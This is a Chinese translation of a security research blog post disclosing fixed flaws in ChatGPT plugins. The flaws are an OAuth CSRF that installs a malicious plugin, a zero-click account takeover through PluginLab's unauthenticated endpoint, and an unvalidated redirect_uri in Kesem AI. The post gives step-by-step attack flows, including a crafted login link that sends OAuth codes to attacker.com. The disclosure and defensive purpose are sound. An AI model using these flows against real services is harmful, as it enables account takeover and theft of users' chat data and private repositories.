所有文章 > API安全 > ChatGPT生态系统的安全漏洞导致第三方网站账户和敏感数据泄露
ChatGPT生态系统的安全漏洞导致第三方网站账户和敏感数据泄露

ChatGPT生态系统的安全漏洞导致第三方网站账户和敏感数据泄露

除非你过去一年一直与世隔绝,否则你可能听说过生成式人工智能平台。

生成式人工智能平台随着 ChatGPT 的出现而进入公众视野,ChatGPT 是由 OpenAI 开发的下一代人工智能,它利用 LLM(大型语言模型)模型,使你可以像与人交谈一样与服务聊天。
它可以理解和回答问题,帮助完成不同的任务,还可以撰写故事和文章,并生成像 Eminem 的歌曲或您可能想到的任何其他歌曲一样的答案。

在早期版本中,ChatGPT 和其他生成式 AI 框架仅包含框架在训练过程中可用的数据。这意味着它可以回答许多与数据相关的问题,但无法查看实时数据。如果你问 ChatGPT,“尼克斯队什么时候播出?”——它会简单地回答,“我只知道 2021 年之前发生的事件的信息。”考虑到生成式 AI 平台的运作方式,这是完全可以理解的。然而,这也是这些平台最大的缺点之一,因为它大大限制了你可以向平台提出的问题。

为了解决这些问题,所有主要的生成式人工智能平台都包含了生成式人工智能生态系统的概念,该生态系统允许生成式人工智能平台与外部服务之间的连接和数据交换。这些服务可以是任何东西,从简单的互联网搜索到与 Github、Google Drive、Saleforce 等特定服务的连接。这使得 ChatGPT 不仅仅是一个对话代理,而是一个可以在各种平台上运行的强大工具,简化了工作流程并提供更具互动性和生产力的体验。与生成式人工智能的大规模增长类似,这些外部连接获得了很大的发展势头,并迅速扩展(并且仍在增长),包括数百种不同的外部连接

安全方面

生成式人工智能是一项巨大的技术成就,有人甚至称其为过去十年计算机科学取得的最重要成就。
与任何技术(尤其是新技术)一样,生成式人工智能也存在风险。

一般来说,这些平台的风险可能来源于几个地方:

  1. 与生成式人工智能平台本身相关的风险——通常是由于核心平台中的错误或安全漏洞造成的。
    虽然这仍然是一个新的研究课题,安全社区尚未设法涵盖其中的大部分内容,但一些风险已经被发现并公布。
    一些例子包括最近发现的两个有趣的漏洞。第一个是Imperva 的 Ron Masas 进行的一项研究,该研究揭示了 ChatGPT 中一个令人印象深刻的 XSS。
    最近发现的另一个有趣的漏洞是“Harel Security Research”发现的缓存欺骗攻击。
    一旦受害者点击恶意 URL,这两个漏洞都可以被利用,这允许攻击者窃取 ChatGPT 用户的敏感数据。
  2. 与生成式人工智能生态系统相关的风险——通常由连接生成式人工智能和外部服务的代码中的安全漏洞或第三方服务本身中发现的安全漏洞引起。

由于我们认为生成式人工智能生态系统在潜在安全风险方面是一个相对未开发的领域,因此我们决定启动一个深入关注这一领域的研究项目,并尝试更多地阐明对生成式人工智能平台生态系统进行成功攻击的可能风险和可能结果。

ChatGPT 插件的安全性

与 Salt-Labs 的惯例一样,我们的研究人员会选择他们最了解、最喜欢的研究目标,以及他们日常使用的目标。
因此,我们决定探索 ChatGPT 的生态系统。我们坚信,我们在这项研究中的整体发现与任何生成式 AI 平台都相关,但为了让我们保持专注,我们的研究范围仅限于 ChatGPT。 

在 ChatGPT 中,连接第三方服务的生态系统称为 ChatGPT 插件,如前所述,它们可以为攻击者带来新的有趣的攻击面。

当您使用这些插件时,您实际上授予 ChatGPT 代表您将敏感数据发送到第三方网站的权限,并且根据插件的不同,您还授予这些插件访问您在 Google Drive、GitHub 等上的私人帐户的权限。

上图取自 ChatGPT,显示如果我们能在这里找到漏洞,这很可能会危及 ChatGPT 和第三方网站中的
敏感数据。但插件到底是什么?

很简单——插件只是由“未知”开发人员创建的应用程序。但是,用户界面仍然是 ChatGPT,这给用户带来了更一致(和“安全”)的感觉
。‍

注意——关于 ChatGPT GPT 的一句话‍ 我们的研究是在 2023 年 7 月进行的,当时“ChatGPT 插件”是主要功能,因此,这是本博客的重点。虽然插件仍然很受欢迎,但在 2023 年 11 月,

ChatGPT 推出了一项新功能——GPT。GPT是任何开发人员都可以发布的 ChatGPT 的自定义版本,并包含一个名为“Action”的选项,可将其与外界联系起来。GPT 的 Actions 是一个与插件类似的概念,我们将在后续文章中探讨 Salt Labs 团队在多个第三方 GPT 中发现的一个漏洞。值得一提的是,OpenAI 在 GPT 安全性方面做得非常出色,这是对插件的重大改进,解决了本博客中描述的许多“插件”问题。

关于我们的研究

研究的第一部分重点关注 ChatGPT 中直接发现的一个漏洞,该漏洞允许攻击者在未经 ChatGPT 用户批准的情况下在他们身上安装恶意插件。 

本篇博文的第二部分是对插件概念的安全性审查,并展示了数十个插件中存在的两个关键帐户接管漏洞。本文的重点不是发现特定的第三方插件,而是一般概念。我们在此介绍我们在多个插件上反复发现的重复问题和漏洞。我们相信,如果开发人员更多地意识到风险,其中一些漏洞是可以避免的,我们希望我们的博文能够帮助实现这一目标。我们还呼吁 OpenAI 在其开发人员文档中更加强调安全性,我们将在查看第三个漏洞发现时进一步解释这一点。

第一个漏洞直接存在于 ChatGPT 中,允许攻击者在 ChatGPT 用户身上安装恶意插件。

为了理解第一个漏洞,我们必须首先向您展示 OAuth 身份验证的工作原理:

假设您是 Dan,您想使用 Facebook 帐户连接到 Example.com。当您点击“使用 Facebook 登录”时会发生什么?

在步骤 2-3 中:

Dan 点击使用 Facebook 登录后,www.example.com 将打开一个新窗口并显示以下地址:

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://www.example.com/OAuth&scope=email&client_id=1501&state=[random_value]&response_type=token

在步骤 4-5 中:

Facebook 为 www.example.com 准备一个秘密令牌,并将浏览器重定向回 redirect_uri(步骤 2 中的参数)。确切的重定向:

https://www.example.com/OAuth#token=[secret_token]

在步骤 6-7 中:

www.example.com从 URL 中读取令牌,并使用它直接与 Facebook 对话以完成身份验证并验证 Dan 的身份。

笔记

了解步骤 2-3 中的 URL 是可选的(您可以跳过它)。但是,如果您好奇并想了解有关 OAuth 的更多信息,您可以阅读我们对 OAuth 重定向操作的完整解释,就像我们在 Booking.com 的帐户接管中描述的那样:https://salt.security/blog/traveling-with-oauth-account-takeover-on-booking-com

让我们重点关注第 5 步:

https://www.example.com/OAuth#token=[secret_token]

在此步骤中,www.example.com接收令牌,并根据此令牌识别用户。如果攻击者将此链接发送给受害者,但带有攻击者的凭据(令牌),会发生什么情况?

由于 example.com 是一个存在漏洞的应用程序,它不会验证 Dan 是否启动了 OAuth 流程,因此受害者(Dan)将作为攻击者连接到 Example.com:

在这种情况下,攻击者可以操纵受害者使用他的凭证登录网站!

您可能会问自己,这有什么大不了的?  而且您并不孤单,许多 OAuth 开发人员认为这不是一个安全问题,因此不会防范此类攻击。

为了了解其中的奥秘,我想在 ChatGPT 上进行演示。

当用户安装需要 OAuth 用户批准的插件时,ChatGPT 会启动以下流程:

步骤 1-2:

当用户安装新插件时,ChatGPT 会将他重定向到插件网站以接收代码(对于这篇文章来说,该代码与令牌相同)。

步骤 3-5:

用户需要批准该插件,用户批准后,插件会生成一个代码并使用该代码将用户重定向回 ChatGPT。

该插件将用户重定向到以下链接:

https://chat.openai.com/aip/{plugin_ID}/oauth/callback?code={secret_code}

步骤 6-7:

当 ChatGPT 收到代码时,它会自动安装插件并可以代表用户与插件进行交互。

用户在ChatGPT中写的任何消息都可以转发到插件。

听起来很熟悉?这是与www.example.com相同的 OAuth 图。新插件安装中的第 5 步与我们刚刚描述的 OAuth 身份验证中的第 5 步相同。

问题与攻击:

ChatGPT 不会验证用户是否确实启动了插件安装。

攻击者可以将步骤 5 中的链接发送给受害者,如果受害者点击该链接,则具有攻击者凭据的新恶意插件将自动安装在受害者的帐户上。

受害者编写的任何新消息都可能被转移到该插件中。

例如,攻击者可以向受害者发送以下链接(指向chatgpt.openai.com域的合法链接):

{malicious_plugin_id} 是攻击者想要在受害者身上安装的插件标识符。

{attacker_code_from_malicious_plugin) 是攻击者从插件收到的代码。

通过点击此链接,受害者无需确认即可安装恶意插件。

影响

攻击者可以编写自己的插件,告诉 ChatGPT 将几乎所有的聊天数据转发到这个插件,然后通过利用 ChatGPT 中的漏洞,他可以在受害者帐户上安装这个恶意插件。

由于攻击者是该插件的所有者,他可以看到受害者的私人聊天数据,其中可能包括凭证、密码或其他敏感数据。

在 ChatGPT 插件的文档中,他们写道“随着时间的推移,我们预计系统将不断发展以适应更高级的用例”,因此随着 ChatGPT 插件的不断发展(现在称为 GPT),此类漏洞的安全影响也会变得更加显著。

缓解措施

如果您实施 OAuth 并希望防止这种情况,则应该实施 OAuth RFC 中所述的状态参数:

请注意,ChatGPT 确实实现了状态参数,但它们的状态不是随机值,因此攻击者可以猜测到

第二个漏洞  ——多个插件上的零点击账户接管,使攻击者能够控制组织在 GitHub 等第三方网站上的账户

在深入探讨细节之前,我们首先要解释一下插件上的帐户接管是什么意思。

当您安装与 GitHub 交互的插件时,此插件会在插件网站上为您创建一个额外的帐户,用于存储您在 GitHub 的凭据。使用这些凭据,插件可以访问包含机密和源代码的私有存储库。

如果攻击者通过此插件控制了您的帐户,那么他还可以访问您的私人 GitHub 存储库。

插件实验室

PluginLab (pluginlab.ai) 是开发人员/公司用来开发 ChatGPT 插件的框架。

使用 PluginLab 开发的示例插件有 ScholarAI、ChatOCR、KeyMateAI、ChatOCR、KeyMateAI、ShowNotes、Perfect Chirp 等。

在我们的示例中,我们将使用“AskTheCode”——一个使用 PluginLab.AI 开发的插件,可让您向 GitHub 存储库提出问题,这意味着使用此插件的用户授予其访问其 GitHub 存储库的权限。

AskTheCode 上的帐户接管意味着攻击者可以访问使用此插件的任何用户的 GitHub 存储库。

在下图中,我们演示了如何使用 ChatGPT 访问受害者 Dan Brown (moreisless3dan) 的私人存储库。

(该截图来自攻击者账户,展示了他如何从受害者的 GitHub 中读取私人文件)

技术细节——工作原理

当用户安装插件“AskTheCode”(或使用 PluginLab.AI 开发的任何其他插件)时,ChatGPT 开始安装流程,主要步骤如下:

  1. AskTheCode 为用户创建一个新帐户,并请求用户允许访问其 GitHub 帐户。AskTheCode 存储 GitHub 凭据。
  2. AskTheCode 为 ChatGPT 生成代码。
  3. ChatGPT 使用代码连接到 AskTheCode 上的用户帐户。
  4. 插件已安装。

为了您的方便,我们附加了描述流程的图表:

您需要从图中获取的是“代码”,这是 AskTheCode 传递给 ChatGPT 的秘密。您可以将该代码视为 ChatGPT 用于连接到 Dan 在 AskTheCode 上的帐户的密码。

攻击者的目标是窃取该代码并接管帐户。

有趣的是,在步骤 3 之后,AskTheCode 从客户端的浏览器向https://auth.pluginlab.ai/oauth/authorize发出请求,以根据用户 memberId 检索代码:

响应如下:

然后,在步骤 5 中,AskTheCode 使用代码“5e806…”将用户重定向到 ChatGPT,然后 ChatGPT 可以使用该代码代表用户在 AskTheCode(最终为 GitHub)中执行操作。

问题和攻击:

https://auth.pluginlab.ai/oauth/authorized不会对请求进行身份验证,这意味着攻击者可以插入另一个 memberId(即受害者)并获取代表受害者的代码。使用该代码,他可以使用 ChatGPT 并访问受害者的 GitHub。

攻击者唯一需要的就是受害者的memberId。

可以通过使用端点https://auth.pluginlab.ai/members/requestMagicEmailCode来实现。

端点收到一封电子邮件并返回(没有已知原因)memberID 和其他数据:

攻击流程:

假设我们有受害者的电子邮件:

  1. 攻击者使用端点https://auth.pluginlab.ai/members/requestMagicEmailCode来获取他想要的任何用户(受害者)的 memberID。
    请注意,memberID 只是电子邮件的 SHA1,因此攻击者可以自己计算 SHA1 值
  2. 一旦攻击者获得了受害者的会员 ID,他就会进入 ChatGPT,在他的账户上安装“AskTheCode”插件,并拦截对https://auth.pluginlab.ai/oauth/authorized的请求。在对https://auth.pluginlab.ai/oauth/authorized
    的请求中,攻击者不需要发送攻击者的会员 ID,而是可以使用步骤中的哈希值,并收到代表受害者的代码。
  3. 攻击者将此代码转发给ChatGPT。
  4. 攻击者现在可以读取受害者的所有存储库,因为他刚刚在自己的 ChatGPT 帐户上用受害者帐户安装了 AskTheCode。例如,攻击者可以写“给我一份所有私人存储库的列表”,ChatGPT 会将此消息发送给 AskTheCode,后者将连接到受害者的 GitHub 存储库以检索数据。
    (请注意,即使不使用 ChatGPT,攻击者也可以直接与插件对话。

笔记:

这是一种零点击攻击。攻击者无需向受害者发送链接即可执行账户接管。

正如我们前面提到的,该漏洞并不存在于 AskTheCode 中,而是存在于 PluginLab.AI 中,并且影响了数十个使用 PluginLab.AI 框架的其他插件。

本文中描述的所有问题均已向 PluginLab.AI 披露,该公司已迅速采取行动解决并彻底缓解这些问题。

任何应用程序都可能出现安全漏洞,响应才是关键。我们感谢 PluginLab 的响应。

这是他们的回应:

“我们一收到您的发现,就立即展开了内部调查。根据我们的调查结果,没有任何用户数据因发现的漏洞而受到损害,这让我感到欣慰。在 PluginLab,客户数据的安全性和完整性至关重要。我们很高兴地报告,您指出的问题已得到及时处理和解决,从而增强了我们平台的安全性。”

他们还向用户发送了通知,称没有用户受到影响,也没有任何关键数据受到泄露。

第三类漏洞——OAuth 重定向操纵

这是我们在多个插件中发现的一个经典 OAuth 漏洞,但我们将使用插件 Kesem AI 作为示例。

该漏洞的影响与 pluginlab.ai 类似,都是对插件本身的账户接管。与不需要用户交互的 PluginLab.AI 不同,此漏洞需要攻击者向受害者发送链接。

技术细节

当用户安装插件“Charts by Kesem AI”时,ChatGPT 启动以下流程:

  1. 将用户重定向到 kesem.ai 以检索 OAuth 代码:
    https://app.kesem.ai/login?response_type=code&client_id=474480292958-cjuv2hh070hr6ad6ei8h9slved6vng0d.apps.googleusercontent.com&redirect_uri=https://chat.openai.com/aip/plugin-fac4e968-c6a5-4fc9-b578-11d958122868/oauth/callback&scope=&state=34881ee1-98e1-4b54-8643-3c561178f1b3
  2. Kesem.ai 使用 Google/Microsoft 或电子邮件对用户进行身份验证,并生成代码
    。‍
  3. Kesem.ai 将代码转移到步骤 1 中的 redirect_uri:
    https://chat.openai.com/aip/plugin-fac4e968-c6a5-4fc9-b578-11d958122868/oauth/callback
    ?code=eyJhbGciOiJSUzI1NiIsImtpZCI6ImM2MGI5ZGUwODBmZmFmYmZjMTgzMzllY2Q0NGFjNzdmN2ZhNGU4ZDMiLCJ0eXAiOiJKV1QifQ….

问题:

https://app.kesem.ai/login 不验证redirect_uri,这意味着攻击者可以插入恶意的redirect_uri并窃取用户凭证。

攻击流程:

  1. 攻击者向受害者发送以下链接:
    https://app.kesem.ai/login ?response_type=code&client_id= 474480292958-cjuv2hh070hr6ad6ei8h9slved6vng0d.apps.googleusercontent.com //attacker.com&scope=&state=34881ee1-98e1-4b54-8643-3c561178f1b3‍
  2. 当受害者点击该链接时,Kesem.ai 会自动将代码传输到步骤 1 中的 redirect_uri:
    https://attacker.com
     ?code=eyJhbGciOiJSUzI1NiIsImtpZCI6ImM2MGI5ZGUwODBmZmFmYmZjMTgzMzllY2Q0NGFjNzdmN2ZhNGU4ZDMiLCJ0eXAiOiJKV1QifQ…

与 Pluginab.ai 的情况一样,攻击者拥有受害者的凭证(代码),并且可以以同样的方式接管他的帐户。

其他插件中发生了什么?

不幸的是,kesem.ai 只是我们在此使用的一个例子。

我们在其他插件中也发现了这个漏洞,我们希望提高人们的认识并鼓励插件开发人员更多地关注 OAuth 和 redirect_uri 参数。

我们还发现插件确实会验证redirect_uri,但只验证域名而不验证路径。但这种方法同样存在漏洞,因为攻击者可以更改其恶意插件的路径并窃取代码。

在 ChatGPT 的文档中,他们解释了如何实现这一流程,但并没有关注安全性。  

如果 OpenAI 能够改进他们的文档,包括插件( https://platform.openai.com/docs/plugins/authentication)和操作(https://platform.openai.com/docs/actions/authentication),并为开发人员写一句话强调强化 redirect_uri 的重要性,那就太好了。

ChatGPT GPT 怎么样?

正如我们前面提到的,GPT 是插件的下一个版本,您可以在此处阅读有关此功能的更多信息:https://openai.com/blog/introducing-gpts

本质上,这些与插件的概念相同,但具有增强的安全协议。

OpenAI 已采取适当措施,在每次将数据从 ChatGPT 发送到第三方供应商时对用户进行教育和警告,从而使用户更加了解:

总而言之,GPT 比插件在安全性方面有了显著增强,有效地解决了本次讨论中强调的大多数问题。尽管如此,用户仍需对潜在风险保持警惕。

披露时间表

我们在此协调披露过程中遵循了以下时间表。再次感谢 ChatGPT、PluginLab.AI 和 Kesem.ai 采取行动解决这些关键漏洞。

  • Salt Labs 发现 ChatGPT 中的漏洞:2023 年 6 月 25 日
  • Salt Labs 向 ChatGPT 披露技术细节:2023 年 7 月 10 日
  • Salt Labs 发现并向 PluginLab.AI 和 KesemAI 披露技术细节:2023 年 9 月
  • 在所有供应商修复漏洞后,Salt Labs 向 OpenAI、PluginLab.AI 和 Kesem.ai 发送了此技术博客,详细介绍了漏洞:2024 年 2 月 27 日
  • Salt 营销团队与各公司营销团队分享博客和新闻稿草稿:2024 年 2 月 27 日
  • Salt 发布博客和新闻稿:2024 年 3 月 13 日

文章来源:Security Flaws within ChatGPT Ecosystem Allowed Access to Accounts On Third-Party Websites and Sensitive Data

#你可能也喜欢这些API文章!